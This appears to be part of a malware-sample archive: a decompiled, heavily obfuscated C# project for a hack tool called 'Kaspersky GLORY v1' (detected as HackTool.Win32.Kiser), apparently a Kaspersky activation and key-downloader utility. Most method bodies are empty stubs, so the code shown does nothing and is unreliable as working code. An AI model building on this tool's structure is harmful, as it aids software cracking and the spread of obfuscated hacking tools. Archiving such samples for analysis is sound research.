+      [MethodImpl(MethodImplOptions.NoInlining)]
+      public void TJfGoS1Nc([In] Loading obj0)
+      {
+      }
+
+      [SpecialName]
+      [MethodImpl(MethodImplOptions.NoInlining)]
+      public void H10jte8fr([In] MainWindow obj0)
+      {
+      }
+
+      [SpecialName]
+      [MethodImpl(MethodImplOptions.NoInlining)]
+      public void Mnd0ODixC([In] Support obj0)
+      {
+      }
+
+      [SpecialName]
+      [MethodImpl(MethodImplOptions.NoInlining)]
+      public void RVCQ5y8jV([In] UpdateC obj0)
+      {
+      }
+
+      [DebuggerHidden]
+      [MethodImpl(MethodImplOptions.NoInlining)]
+      private static T seWsLuReV<T>(object Instance) where T : Window, new() => (T) null;
+
+      [DebuggerHidden]
+      [MethodImpl(MethodImplOptions.NoInlining)]
+      private void uWUfSQC1u<T>([In] ref T obj0) where T : Window
+      {
+      }
+
+      [DebuggerHidden]
+      [EditorBrowsable(EditorBrowsableState.Never)]
+      [MethodImpl(MethodImplOptions.NoInlining)]
+      public YHLRBRarp6ocYAlDIi()
+      {
+      }
+
+      [EditorBrowsable(EditorBrowsableState.Never)]
+      [MethodImpl(MethodImplOptions.NoInlining)]
+      public override bool Equals([In] object obj0) => true;
+
+      [EditorBrowsable(EditorBrowsableState.Never)]
+      [MethodImpl(MethodImplOptions.NoInlining)]
+      public override int GetHashCode() => 0;
+
+      [EditorBrowsable(EditorBrowsableState.Never)]
+      [MethodImpl(MethodImplOptions.NoInlining)]
+      internal Type CvmOFuRb7() => (Type) null;
+
+      [EditorBrowsable(EditorBrowsableState.Never)]
+      [MethodImpl(MethodImplOptions.NoInlining)]
+      public override string ToString() => (string) null;
+
+      [MethodImpl(MethodImplOptions.NoInlining)]
+      internal static bool y3NQGTQ6C2pOCLxvcxJ() => true;
+
+      [MethodImpl(MethodImplOptions.NoInlining)]
+      internal static bool AlEcB2QeD1j5ndJP9mg() => true;
+
+      [MethodImpl(MethodImplOptions.NoInlining)]
+      internal static void \u0035BWPFdQV9aqfgKLuaBc()
+      {
+      }
+
+      [MethodImpl(MethodImplOptions.NoInlining)]
+      internal static void \u0038lhZPqQtmaxe25m8qAD([In] object obj0)
+      {
+      }
+
+      [MethodImpl(MethodImplOptions.NoInlining)]
+      internal static object EfJ9ofQUJwsYZNiaiIg([In] object obj0) => (object) null;
+
+      [MethodImpl(MethodImplOptions.NoInlining)]
+      internal static bool \u0030ydOjxQbwKuKM4fQy07([In] object obj0, [In] object obj1) => true;
+
+      [MethodImpl(MethodImplOptions.NoInlining)]
+      internal static int pQuHWpQP6iU3Jk0JNYa([In] object obj0) => 0;
+
+      [MethodImpl(MethodImplOptions.NoInlining)]
+      internal static RuntimeTypeHandle \u00333BjIpQrhN2Fc8QbaoV(int token) => \u003CPrivateImplementationDetails\u003E\u007B7465F6BC\u002D7BAE\u002D4A3E\u002DA06D\u002DB170F89EC902\u007D.fieldimpl5;
+
+      [MethodImpl(MethodImplOptions.NoInlining)]
+      internal static Type WUk0k0QcW0fuIP8TsZP([In] RuntimeTypeHandle obj0) => (Type) null;
+
+      [MethodImpl(MethodImplOptions.NoInlining)]
+      internal static object jjQ9GlQSSRRmX5RCtBf([In] object obj0) => (object) null;
+
+      static YHLRBRarp6ocYAlDIi() => \u0032xlZRjWMTMLrRPrwuC.\u0038wGy8Btdv();
+    }
+  }
+}

MSIL/HackTool/Win32/K/HackTool.Win32.Kiser.arr-d9e3046447f55f0acbc9626459367c8d8226ca5bb85aad312f680810b76a22b6/HackTool.Win32.Kiser.arr.csproj

@@ -0,0 +1,74 @@
+<?xml version="1.0" encoding="utf-8"?>
+<Project ToolsVersion="4.0" DefaultTargets="Build" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
+  <!--Project was exported from assembly: C:\Users\Administrateur\Downloads\Virusshare-00002-msil\HackTool.Win32.Kiser.arr-d9e3046447f55f0acbc9626459367c8d8226ca5bb85aad312f680810b76a22b6.exe-->
+  <PropertyGroup>
+    <Configuration Condition=" '$(Configuration)' == '' ">Debug</Configuration>
+    <Platform Condition=" '$(Platform)' == '' ">AnyCPU</Platform>
+    <ProjectGuid>{1621E484-1CDB-4A95-BB68-D9DFBB492663}</ProjectGuid>
+    <OutputType>WinExe</OutputType>
+    <AssemblyName>Kaspersky GLORY v1</AssemblyName>
+    <TargetFrameworkVersion>v4.0</TargetFrameworkVersion>
+    <TargetFrameworkProfile>Client</TargetFrameworkProfile>
+    <ApplicationVersion>1.0.1.0</ApplicationVersion>
+    <FileAlignment>512</FileAlignment>
+  </PropertyGroup>
+  <PropertyGroup Condition=" '$(Configuration)|$(Platform)' == 'Debug|AnyCPU' ">
+    <PlatformTarget>AnyCPU</PlatformTarget>
+    <DebugSymbols>true</DebugSymbols>
+    <DebugType>full</DebugType>
+    <Optimize>false</Optimize>
+    <OutputPath>bin\Debug\</OutputPath>
+    <DefineConstants>DEBUG;TRACE</DefineConstants>
+    <ErrorReport>prompt</ErrorReport>
+    <WarningLevel>4</WarningLevel>
+    <AllowUnsafeBlocks>true</AllowUnsafeBlocks>
+  </PropertyGroup>
+  <PropertyGroup Condition=" '$(Configuration)|$(Platform)' == 'Release|AnyCPU' ">
+    <PlatformTarget>AnyCPU</PlatformTarget>
+    <DebugType>pdbonly</DebugType>
+    <Optimize>true</Optimize>
+    <OutputPath>bin\Release\</OutputPath>
+    <DefineConstants>TRACE</DefineConstants>
+    <ErrorReport>prompt</ErrorReport>
+    <WarningLevel>4</WarningLevel>
+    <AllowUnsafeBlocks>true</AllowUnsafeBlocks>
+  </PropertyGroup>
+  <ItemGroup>
+    <Reference Include="Microsoft.VisualBasic" />
+    <Reference Include="PresentationCore" />
+    <Reference Include="PresentationFramework" />
+    <Reference Include="System" />
+    <Reference Include="System.Drawing" />
+    <Reference Include="System.Windows.Forms" />
+    <Reference Include="System.Xaml" />
+  </ItemGroup>
+  <ItemGroup>
+    <Compile Include="_003CModule_003E{1E0CF42E-6AF6-4AA5-9FF2-47ED1361C.cs" />
+    <Compile Include="Grg8i8i1YMs98IPy4R\dC4qdNIcHbY6XFCXcG.cs" />
+    <Compile Include="dGkVnXHiK2tWFJ4C6B\4ftP2cJrps1Vp0AYUA.cs" />
+    <Compile Include="eWVX1sTotVGuGeBpEA\Ewv0DHKP53XXBO04Lw.cs" />
+    <Compile Include="PiDHnfAR7iBcyRY1A4\2xlZRjWMTMLrRPrwuC.cs" />
+    <Compile Include="DSIZmcjAW3UHvpoiYv\BZKTitwbNl6DcN6q4t.cs" />
+    <Compile Include="Kaspersky_GLORY_v1\Application.cs" />
+    <Compile Include="Kaspersky_GLORY_v1\FB.cs" />
+    <Compile Include="Kaspersky_GLORY_v1\Kactive.cs" />
+    <Compile Include="Kaspersky_GLORY_v1\KDownloader.cs" />
+    <Compile Include="Kaspersky_GLORY_v1\Loading.cs" />
+    <Compile Include="Kaspersky_GLORY_v1\MainWindow.cs" />
+    <Compile Include="Kaspersky_GLORY_v1\MySettings.cs" />
+    <Compile Include="Kaspersky_GLORY_v1\Support.cs" />
+    <Compile Include="Kaspersky_GLORY_v1\UpdateC.cs" />
+    <Compile Include="Kaspersky_GLORY_v1\My\MySettingsProperty.cs" />
+    <Compile Include="Kaspersky_GLORY_v1\My\Resources\Resources.cs" />
+    <Compile Include="p2XtB2VTdFjK0JQIVK\MdFubyyWUT0jdlleiq.cs" />
+    <Compile Include="YAjZo0OoeOFXnanNqL\a3QWFQfrZxBoktRnP7.cs" />
+    <Compile Include="AssemblyInfo.cs" />
+  </ItemGroup>
+  <ItemGroup>
+    <EmbeddedResource Include="09aae7e9-d4d8-45bf-9a2f-cd554772cbde" />
+    <EmbeddedResource Include="2651b929-7cba-4c8e-a8bc-2a0fd8782a67" />
+    <EmbeddedResource Include="82174bff-490c-4ae4-ae1a-05bd86367369" />
+    <EmbeddedResource Include="f5bee3ba-1ad0-41f6-ae28-bff52c07af84" />
+  </ItemGroup>
+  <Import Project="$(MSBuildToolsPath)\Microsoft.CSharp.targets" />
+</Project>

MSIL/HackTool/Win32/K/HackTool.Win32.Kiser.arr-d9e3046447f55f0acbc9626459367c8d8226ca5bb85aad312f680810b76a22b6/HackTool.Win32.Kiser.arr.sln

@@ -0,0 +1,20 @@
+
+Microsoft Visual Studio Solution File, Format Version 11.00
+# Visual Studio 2010
+Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "Kaspersky GLORY v1", "HackTool.Win32.Kiser.arr-d9e3046447f55f0acbc9626459367c8d8226ca5bb85aad312f680810b76a22b6.csproj", "{1621E484-1CDB-4A95-BB68-D9DFBB492663}"
+EndProject
+Global
+	GlobalSection(SolutionConfigurationPlatforms) = preSolution
+		Debug|Any CPU = Debug|Any CPU
+		Release|Any CPU = Release|Any CPU
+	EndGlobalSection
+	GlobalSection(ProjectConfigurationPlatforms) = postSolution
+		{1621E484-1CDB-4A95-BB68-D9DFBB492663}.Debug|Any CPU.ActiveCfg = Debug|Any CPU
+		{1621E484-1CDB-4A95-BB68-D9DFBB492663}.Debug|Any CPU.Build.0 = Debug|Any CPU
+		{1621E484-1CDB-4A95-BB68-D9DFBB492663}.Release|Any CPU.ActiveCfg = Release|Any CPU
+		{1621E484-1CDB-4A95-BB68-D9DFBB492663}.Release|Any CPU.Build.0 = Release|Any CPU
+	EndGlobalSection
+	GlobalSection(SolutionProperties) = preSolution
+		HideSolutionNode = FALSE
+	EndGlobalSection
+EndGlobal

MSIL/HackTool/Win32/K/HackTool.Win32.Kiser.arr-d9e3046447f55f0acbc9626459367c8d8226ca5bb85aad312f680810b76a22b6/Kaspersky_GLORY_v1/Application.cs

@@ -0,0 +1,112 @@
+// Decompiled with JetBrains decompiler
+// Type: Kaspersky_GLORY_v1.Application
+// Assembly: Kaspersky GLORY v1, Version=1.0.1.0, Culture=neutral, PublicKeyToken=null
+// MVID: E47827BB-114D-421C-9576-332833461261
+// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00002-msil\HackTool.Win32.Kiser.arr-d9e3046447f55f0acbc9626459367c8d8226ca5bb85aad312f680810b76a22b6.exe
+
+using Grg8i8i1YMs98IPy4R;
+using Microsoft.VisualBasic.ApplicationServices;
+using PiDHnfAR7iBcyRY1A4;
+using System;
+using System.CodeDom.Compiler;
+using System.Diagnostics;
+using System.Runtime.CompilerServices;
+using System.Runtime.InteropServices;
+
+namespace Kaspersky_GLORY_v1
+{
+  [GeneratedCode("PresentationBuildTasks", "4.0.0.0")]
+  public class Application : System.Windows.Application
+  {
+    [MethodImpl(MethodImplOptions.NoInlining)]
+    public Application()
+    {
+    }
+
+    [DebuggerHidden]
+    [SpecialName]
+    [MethodImpl(MethodImplOptions.NoInlining)]
+    internal AssemblyInfo WHGs5tnTk() => (AssemblyInfo) null;
+
+    [DebuggerNonUserCode]
+    [MethodImpl(MethodImplOptions.NoInlining)]
+    public void InitializeComponent()
+    {
+    }
+
+    [STAThread]
+    [DebuggerNonUserCode]
+    [MethodImpl(MethodImplOptions.NoInlining)]
+    public static void Main()
+    {
+      Application.\u0037i1ZEPnXXOm6Hna3Xa();
+      int num;
+      if (Application.Yra59UBLdyXW9MM8bB())
+        num = 5;
+      else
+        goto label_7;
+label_5:
+      while (true)
+      {
+        Application application;
+        switch (num)
+        {
+          case 0:
+          case 5:
+            goto label_8;
+          case 1:
+            application = new Application();
+            num = 2;
+            continue;
+          case 2:
+            application.InitializeComponent();
+            break;
+          case 6:
+            goto label_6;
+        }
+        application.Run();
+        num = 6;
+      }
+label_6:
+      return;
+label_7:
+      num = 4;
+      if (Application.Yra59UBLdyXW9MM8bB())
+        goto label_5;
+label_8:
+      dC4qdNIcHbY6XFCXcG.\u0039wdMZOHfYHtmL();
+      num = 1;
+      goto label_5;
+    }
+
+    [MethodImpl(MethodImplOptions.NoInlining)]
+    internal static void \u0035WAmGrAg9EYEtiibyo()
+    {
+    }
+
+    [MethodImpl(MethodImplOptions.NoInlining)]
+    internal static void \u0037X4xw6mxYAkxoUSFFs([In] object obj0)
+    {
+    }
+
+    [MethodImpl(MethodImplOptions.NoInlining)]
+    internal static bool Yra59UBLdyXW9MM8bB() => true;
+
+    [MethodImpl(MethodImplOptions.NoInlining)]
+    internal static bool \u0037i1ZEPnXXOm6Hna3Xa() => true;
+
+    [MethodImpl(MethodImplOptions.NoInlining)]
+    internal static object \u0034hK8thdf174HistMvf() => (object) null;
+
+    [MethodImpl(MethodImplOptions.NoInlining)]
+    internal static void i5qPMKjwOvT8n1WtZE([In] object obj0, [In] object obj1)
+    {
+    }
+
+    static Application()
+    {
+      dC4qdNIcHbY6XFCXcG.\u0039wdMZOHfYHtmL();
+      \u0032xlZRjWMTMLrRPrwuC.\u0038wGy8Btdv();
+    }
+  }
+}

MSIL/HackTool/Win32/K/HackTool.Win32.Kiser.arr-d9e3046447f55f0acbc9626459367c8d8226ca5bb85aad312f680810b76a22b6/Kaspersky_GLORY_v1/FB.cs

@@ -0,0 +1,325 @@
+// Decompiled with JetBrains decompiler
+// Type: Kaspersky_GLORY_v1.FB
+// Assembly: Kaspersky GLORY v1, Version=1.0.1.0, Culture=neutral, PublicKeyToken=null
+// MVID: E47827BB-114D-421C-9576-332833461261
+// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00002-msil\HackTool.Win32.Kiser.arr-d9e3046447f55f0acbc9626459367c8d8226ca5bb85aad312f680810b76a22b6.exe
+
+using Microsoft.VisualBasic;
+using Microsoft.VisualBasic.CompilerServices;
+using PiDHnfAR7iBcyRY1A4;
+using System.CodeDom.Compiler;
+using System.ComponentModel;
+using System.Diagnostics;
+using System.Drawing;
+using System.Runtime.CompilerServices;
+using System.Runtime.InteropServices;
+using System.Windows;
+using System.Windows.Controls;
+using System.Windows.Input;
+using System.Windows.Markup;
+
+namespace Kaspersky_GLORY_v1
+{
+  [DesignerGenerated]
+  [GeneratedCode("PresentationBuildTasks", "4.0.0.0")]
+  public class FB : Window, IComponentConnector
+  {
+    [AccessedThroughProperty("t1")]
+    private Label \u0030LZVi6SBu;
+    [AccessedThroughProperty("Button1")]
+    private Button XoRQDcXFm;
+    [AccessedThroughProperty("Button2")]
+    private Button \u0034HIyaRGjh;
+    [AccessedThroughProperty("Label1")]
+    private Label vTJlTvVbt;
+    [AccessedThroughProperty("TextBox1")]
+    private TextBox \u0033cJ9cSepm;
+    [AccessedThroughProperty("ComboBox1")]
+    private ComboBox EPuUtq8Ox;
+    [AccessedThroughProperty("TextBox2")]
+    private TextBox Q6SAuOc2E;
+    [AccessedThroughProperty("Label2")]
+    private Label dkOuxxyiC;
+    private bool GDOIKWKuj;
+
+    [MethodImpl(MethodImplOptions.NoInlining)]
+    public FB()
+    {
+    }
+
+    [MethodImpl(MethodImplOptions.NoInlining)]
+    private void WHGs5tnTk([In] object obj0, [In] RoutedEventArgs obj1)
+    {
+    }
+
+    [MethodImpl(MethodImplOptions.NoInlining)]
+    private void cqZfkGBNt([In] object obj0, [In] RoutedEventArgs obj1)
+    {
+    }
+
+    [MethodImpl(MethodImplOptions.NoInlining)]
+    private void XZvO7ERBQ([In] object obj0, [In] MouseButtonEventArgs obj1)
+    {
+    }
+
+    [MethodImpl(MethodImplOptions.NoInlining)]
+    private void \u0038LykafRk2([In] object obj0, [In] RoutedEventArgs obj1)
+    {
+    }
+
+    internal virtual Label t1
+    {
+      [MethodImpl(MethodImplOptions.NoInlining)] get => (Label) null;
+      [MethodImpl(MethodImplOptions.Synchronized | MethodImplOptions.NoInlining)] set
+      {
+      }
+    }
+
+    internal virtual Button Button1
+    {
+      [MethodImpl(MethodImplOptions.NoInlining)] get => (Button) null;
+      [MethodImpl(MethodImplOptions.Synchronized | MethodImplOptions.NoInlining)] set
+      {
+      }
+    }
+
+    internal virtual Button Button2
+    {
+      [MethodImpl(MethodImplOptions.NoInlining)] get => (Button) null;
+      [MethodImpl(MethodImplOptions.Synchronized | MethodImplOptions.NoInlining)] set
+      {
+      }
+    }
+
+    internal virtual Label Label1
+    {
+      [MethodImpl(MethodImplOptions.NoInlining)] get => (Label) null;
+      [MethodImpl(MethodImplOptions.Synchronized | MethodImplOptions.NoInlining)] set
+      {
+      }
+    }
+
+    internal virtual TextBox TextBox1
+    {
+      [MethodImpl(MethodImplOptions.NoInlining)] get => (TextBox) null;
+      [MethodImpl(MethodImplOptions.Synchronized | MethodImplOptions.NoInlining)] set
+      {
+      }
+    }
+
+    internal virtual ComboBox ComboBox1
+    {
+      [MethodImpl(MethodImplOptions.NoInlining)] get => (ComboBox) null;
+      [MethodImpl(MethodImplOptions.Synchronized | MethodImplOptions.NoInlining)] set
+      {
+      }
+    }
+
+    internal virtual TextBox TextBox2
+    {
+      [MethodImpl(MethodImplOptions.NoInlining)] get => (TextBox) null;
+      [MethodImpl(MethodImplOptions.Synchronized | MethodImplOptions.NoInlining)] set
+      {
+      }
+    }
+
+    internal virtual Label Label2
+    {
+      [MethodImpl(MethodImplOptions.NoInlining)] get => (Label) null;
+      [MethodImpl(MethodImplOptions.Synchronized | MethodImplOptions.NoInlining)] set
+      {
+      }
+    }
+
+    [DebuggerNonUserCode]
+    [MethodImpl(MethodImplOptions.NoInlining)]
+    public void InitializeComponent()
+    {
+    }
+
+    [DebuggerNonUserCode]
+    [EditorBrowsable(EditorBrowsableState.Never)]
+    [MethodImpl(MethodImplOptions.NoInlining)]
+    public void System_Windows_Markup_IComponentConnector_Connect(int connectionId, object target)
+    {
+    }
+
+    [MethodImpl(MethodImplOptions.NoInlining)]
+    internal static void jwn63xTkGYcSQ2yIHc()
+    {
+    }
+
+    [MethodImpl(MethodImplOptions.NoInlining)]
+    internal static void hk8vnjhEpJHOFJdcZ5([In] object obj0)
+    {
+    }
+
+    [MethodImpl(MethodImplOptions.NoInlining)]
+    internal static void Q2H5v0ED0cqqK7k28w([In] object obj0, [In] object obj1)
+    {
+    }
+
+    [MethodImpl(MethodImplOptions.NoInlining)]
+    internal static void WdkX531wXn7hgBIY5G([In] object obj0, [In] object obj1)
+    {
+    }
+
+    [MethodImpl(MethodImplOptions.NoInlining)]
+    internal static void \u0032iwlTP9SmnnQLSBTJr([In] object obj0)
+    {
+    }
+
+    [MethodImpl(MethodImplOptions.NoInlining)]
+    internal static bool QrMsq3HdKtU501C4mo() => true;
+
+    [MethodImpl(MethodImplOptions.NoInlining)]
+    internal static bool \u0033UUvV3kYjMs77ZA87F() => true;
+
+    [MethodImpl(MethodImplOptions.NoInlining)]
+    internal static void wrSFbgwfptk9F9aYY7([In] object obj0)
+    {
+    }
+
+    [MethodImpl(MethodImplOptions.NoInlining)]
+    internal static object \u003934s3MCC9eccLLZxbZ([In] object obj0) => (object) null;
+
+    [MethodImpl(MethodImplOptions.NoInlining)]
+    internal static void MyC7n36uZ6Jnkge6yN([In] object obj0, [In] int obj1)
+    {
+    }
+
+    [MethodImpl(MethodImplOptions.NoInlining)]
+    internal static object UbDA9TeAmOPgFiad27() => (object) null;
+
+    [MethodImpl(MethodImplOptions.NoInlining)]
+    internal static object Iv99g8Vqg5hS8cNxux([In] object obj0) => (object) null;
+
+    [MethodImpl(MethodImplOptions.NoInlining)]
+    internal static Rectangle LuEkKXtNGyd2p0Q4oZ([In] object obj0) => \u003CPrivateImplementationDetails\u003E\u007B7465F6BC\u002D7BAE\u002D4A3E\u002DA06D\u002DB170F89EC902\u007D.fieldimpl1;
+
+    [MethodImpl(MethodImplOptions.NoInlining)]
+    internal static void \u0035HWxm5UuaWqNT1Ta58([In] object obj0, [In] double obj1)
+    {
+    }
+
+    [MethodImpl(MethodImplOptions.NoInlining)]
+    internal static void J6MoCwbVRbqo5fe999([In] object obj0, [In] double obj1)
+    {
+    }
+
+    [MethodImpl(MethodImplOptions.NoInlining)]
+    internal static void ZbDM5yPYpHlTLHlM5J([In] object obj0)
+    {
+    }
+
+    [MethodImpl(MethodImplOptions.NoInlining)]
+    internal static object dMfUZMr9ZD0xFcc3dG([In] object obj0) => (object) null;
+
+    [MethodImpl(MethodImplOptions.NoInlining)]
+    internal static object Jo6pMQchWn0IuDFEkG([In] object obj0) => (object) null;
+
+    [MethodImpl(MethodImplOptions.NoInlining)]
+    internal static object aO3VIkSA6lBcXqByqb([In] object obj0) => (object) null;
+
+    [MethodImpl(MethodImplOptions.NoInlining)]
+    internal static object \u0036gO2fiLMTuIi2sRBFd([In] object obj0) => (object) null;
+
+    [MethodImpl(MethodImplOptions.NoInlining)]
+    internal static object PkGiD8goVBoCkj3Bg8([In] object obj0, [In] object obj1) => (object) null;
+
+    [MethodImpl(MethodImplOptions.NoInlining)]
+    internal static object MmTbQHKJhKXGqQ9MQ0([In] object obj0, [In] object obj1, [In] object obj2, [In] object obj3) => (object) null;
+
+    [MethodImpl(MethodImplOptions.NoInlining)]
+    internal static void g5vlLPRZLDwRy0GQYt([In] object obj0, [In] object obj1)
+    {
+    }
+
+    [MethodImpl(MethodImplOptions.NoInlining)]
+    internal static void grGhfBacblwYWSGfrS([In] object obj0, [In] bool obj1)
+    {
+    }
+
+    [MethodImpl(MethodImplOptions.NoInlining)]
+    internal static void hVGhrVFiQ3i7ZgMWT8([In] object obj0, [In] object obj1)
+    {
+    }
+
+    [MethodImpl(MethodImplOptions.NoInlining)]
+    internal static void HLZEd30m7NNJeQKUV9([In] object obj0)
+    {
+    }
+
+    [MethodImpl(MethodImplOptions.NoInlining)]
+    internal static MsgBoxResult aCZwrZ37Bj8MpOtZ0Z(
+      [In] object obj0,
+      [In] MsgBoxStyle obj1,
+      [In] object obj2)
+    {
+      // ISSUE: reference to a compiler-generated field
+      return \u003CPrivateImplementationDetails\u003E\u007B7465F6BC\u002D7BAE\u002D4A3E\u002DA06D\u002DB170F89EC902\u007D.fieldimpl2;
+    }
+
+    [MethodImpl(MethodImplOptions.NoInlining)]
+    internal static void U2s2Zq8D2ErX07phiO()
+    {
+    }
+
+    [MethodImpl(MethodImplOptions.NoInlining)]
+    internal static void GAVqXtMw5xUern2nGS([In] object obj0, [In] object obj1)
+    {
+    }
+
+    [MethodImpl(MethodImplOptions.NoInlining)]
+    internal static void OgPCEsJlajBVJHroRN([In] object obj0, [In] object obj1)
+    {
+    }
+
+    [MethodImpl(MethodImplOptions.NoInlining)]
+    internal static void CkXd9hiRY2q3ZsmJyX([In] object obj0, [In] object obj1)
+    {
+    }
+
+    [MethodImpl(MethodImplOptions.NoInlining)]
+    internal static void \u0031cxgI37oLNS7g0vxNQ([In] object obj0, [In] object obj1)
+    {
+    }
+
+    [MethodImpl(MethodImplOptions.NoInlining)]
+    internal static void aqwjokXfGIaBlA0lQH([In] object obj0, [In] object obj1)
+    {
+    }
+
+    [MethodImpl(MethodImplOptions.NoInlining)]
+    internal static void GhWnBSYnnKHqu2CRv6([In] object obj0, [In] object obj1)
+    {
+    }
+
+    [MethodImpl(MethodImplOptions.NoInlining)]
+    internal static void S0ObYwDwVRMMhFfIwC([In] object obj0, [In] object obj1)
+    {
+    }
+
+    [MethodImpl(MethodImplOptions.NoInlining)]
+    internal static void emT84tZGPjf5M5mlV8([In] object obj0, [In] object obj1)
+    {
+    }
+
+    [MethodImpl(MethodImplOptions.NoInlining)]
+    internal static void slXcKp2Sqi5Pc8Uqsh([In] object obj0, [In] object obj1)
+    {
+    }
+
+    [MethodImpl(MethodImplOptions.NoInlining)]
+    internal static void vyC4HP4BrfT25oavF6([In] object obj0, [In] object obj1)
+    {
+    }
+
+    [MethodImpl(MethodImplOptions.NoInlining)]
+    internal static void tfoIF1NZZehlTdASW0([In] object obj0, [In] object obj1)
+    {
+    }
+
+    static FB() => \u0032xlZRjWMTMLrRPrwuC.\u0038wGy8Btdv();
+  }
+}

MSIL/HackTool/Win32/K/HackTool.Win32.Kiser.arr-d9e3046447f55f0acbc9626459367c8d8226ca5bb85aad312f680810b76a22b6/Kaspersky_GLORY_v1/KDownloader.cs

@@ -0,0 +1,511 @@
+// Decompiled with JetBrains decompiler
+// Type: Kaspersky_GLORY_v1.KDownloader
+// Assembly: Kaspersky GLORY v1, Version=1.0.1.0, Culture=neutral, PublicKeyToken=null
+// MVID: E47827BB-114D-421C-9576-332833461261
+// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00002-msil\HackTool.Win32.Kiser.arr-d9e3046447f55f0acbc9626459367c8d8226ca5bb85aad312f680810b76a22b6.exe
+
+using Microsoft.VisualBasic;
+using Microsoft.VisualBasic.CompilerServices;
+using PiDHnfAR7iBcyRY1A4;
+using System.CodeDom.Compiler;
+using System.ComponentModel;
+using System.Diagnostics;
+using System.Net;
+using System.Runtime.CompilerServices;
+using System.Runtime.InteropServices;
+using System.Windows;
+using System.Windows.Forms;
+using System.Windows.Input;
+using System.Windows.Markup;
+
+namespace Kaspersky_GLORY_v1
+{
+  [DesignerGenerated]
+  [GeneratedCode("PresentationBuildTasks", "4.0.0.0")]
+  public class KDownloader : Window, IComponentConnector
+  {
+    private WebClient uiDSJP5K6;
+    private WebClient \u0037wUA3K5FS;
+    [AccessedThroughProperty("GroupBox1")]
+    private System.Windows.Controls.GroupBox StWuGHvv3;
+    [AccessedThroughProperty("ComboBox1")]
+    private System.Windows.Controls.ComboBox iepZybAkM;
+    [AccessedThroughProperty("Label2")]
+    private System.Windows.Controls.Label TJfGoS1Nc;
+    [AccessedThroughProperty("t1")]
+    private System.Windows.Controls.Label JGRWDvPW7;
+    [AccessedThroughProperty("Button1")]
+    private System.Windows.Controls.Button \u0032dt8e7deR;
+    [AccessedThroughProperty("Label1")]
+    private System.Windows.Controls.Label H10jte8fr;
+    [AccessedThroughProperty("ProgressBar1")]
+    private System.Windows.Controls.ProgressBar SsvY5ygtY;
+    [AccessedThroughProperty("btn_s_k")]
+    private System.Windows.Controls.Button \u0038xXCMRTUE;
+    [AccessedThroughProperty("btn_s_AV")]
+    private System.Windows.Controls.Button Mnd0ODixC;
+    [AccessedThroughProperty("btn_s_IS")]
+    private System.Windows.Controls.Button a6BHg7aZl;
+    [AccessedThroughProperty("kl")]
+    private System.Windows.Controls.TextBox \u00305iRvC3Dw;
+    [AccessedThroughProperty("Button2")]
+    private System.Windows.Controls.Button RVCQ5y8jV;
+    [AccessedThroughProperty("Label3")]
+    private System.Windows.Controls.Label iAVvjewXZ;
+    private bool \u0032I7wPSnFY;
+
+    [MethodImpl(MethodImplOptions.NoInlining)]
+    public KDownloader()
+    {
+    }
+
+    [MethodImpl(MethodImplOptions.NoInlining)]
+    private void seWsLuReV([In] object obj0, [In] RoutedEventArgs obj1)
+    {
+    }
+
+    [MethodImpl(MethodImplOptions.NoInlining)]
+    private void uWUfSQC1u([In] object obj0, [In] MouseButtonEventArgs obj1)
+    {
+    }
+
+    [MethodImpl(MethodImplOptions.NoInlining)]
+    private void CvmOFuRb7([In] object obj0, [In] RoutedEventArgs obj1)
+    {
+    }
+
+    [MethodImpl(MethodImplOptions.NoInlining)]
+    private void ISFmXOES8([In] object obj0, [In] RoutedEventArgs obj1)
+    {
+    }
+
+    [MethodImpl(MethodImplOptions.NoInlining)]
+    private void FleVY7hrK([In] object obj0, [In] RoutedEventArgs obj1)
+    {
+    }
+
+    [MethodImpl(MethodImplOptions.NoInlining)]
+    private void \u0039tjPjswKO([In] object obj0, [In] RoutedEventArgs obj1)
+    {
+    }
+
+    [MethodImpl(MethodImplOptions.NoInlining)]
+    private void \u0038wGy8Btdv([In] object obj0, [In] DownloadProgressChangedEventArgs obj1)
+    {
+    }
+
+    [MethodImpl(MethodImplOptions.NoInlining)]
+    private void HKGk3cGu3([In] object obj0, [In] AsyncCompletedEventArgs obj1)
+    {
+    }
+
+    [MethodImpl(MethodImplOptions.NoInlining)]
+    private void \u0034y971Mpj6([In] object obj0, [In] RoutedEventArgs obj1)
+    {
+    }
+
+    internal virtual System.Windows.Controls.GroupBox GroupBox1
+    {
+      [MethodImpl(MethodImplOptions.NoInlining)] get => (System.Windows.Controls.GroupBox) null;
+      [MethodImpl(MethodImplOptions.Synchronized | MethodImplOptions.NoInlining)] set
+      {
+      }
+    }
+
+    internal virtual System.Windows.Controls.ComboBox ComboBox1
+    {
+      [MethodImpl(MethodImplOptions.NoInlining)] get => (System.Windows.Controls.ComboBox) null;
+      [MethodImpl(MethodImplOptions.Synchronized | MethodImplOptions.NoInlining)] set
+      {
+      }
+    }
+
+    internal virtual System.Windows.Controls.Label Label2
+    {
+      [MethodImpl(MethodImplOptions.NoInlining)] get => (System.Windows.Controls.Label) null;
+      [MethodImpl(MethodImplOptions.Synchronized | MethodImplOptions.NoInlining)] set
+      {
+      }
+    }
+
+    internal virtual System.Windows.Controls.Label t1
+    {
+      [MethodImpl(MethodImplOptions.NoInlining)] get => (System.Windows.Controls.Label) null;
+      [MethodImpl(MethodImplOptions.Synchronized | MethodImplOptions.NoInlining)] set
+      {
+      }
+    }
+
+    internal virtual System.Windows.Controls.Button Button1
+    {
+      [MethodImpl(MethodImplOptions.NoInlining)] get => (System.Windows.Controls.Button) null;
+      [MethodImpl(MethodImplOptions.Synchronized | MethodImplOptions.NoInlining)] set
+      {
+      }
+    }
+
+    internal virtual System.Windows.Controls.Label Label1
+    {
+      [MethodImpl(MethodImplOptions.NoInlining)] get => (System.Windows.Controls.Label) null;
+      [MethodImpl(MethodImplOptions.Synchronized | MethodImplOptions.NoInlining)] set
+      {
+      }
+    }
+
+    internal virtual System.Windows.Controls.ProgressBar ProgressBar1
+    {
+      [MethodImpl(MethodImplOptions.NoInlining)] get => (System.Windows.Controls.ProgressBar) null;
+      [MethodImpl(MethodImplOptions.Synchronized | MethodImplOptions.NoInlining)] set
+      {
+      }
+    }
+
+    internal virtual System.Windows.Controls.Button btn_s_k
+    {
+      [MethodImpl(MethodImplOptions.NoInlining)] get => (System.Windows.Controls.Button) null;
+      [MethodImpl(MethodImplOptions.Synchronized | MethodImplOptions.NoInlining)] set
+      {
